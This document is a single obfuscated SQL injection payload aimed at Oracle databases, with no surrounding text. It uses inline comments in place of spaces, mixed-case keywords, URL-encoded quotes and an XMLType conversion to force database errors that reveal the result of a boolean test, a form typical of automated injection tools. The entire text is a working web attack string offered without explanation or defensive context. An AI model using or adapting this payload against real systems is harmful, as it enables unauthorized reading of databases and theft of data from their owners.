1)),(select/**/uPpEr(xmlType(chr(60)||chr(58)||%27~%27||(SElECT/**/(cAsE/**/whEn/**/(5261=5261)/**/tHen/**/1/**/eLSe/**/0/**/End)/**/frOM/**/dUal)||%27~%27||chr(62)))/**/frOm/**/Dual) AND ((6917=6917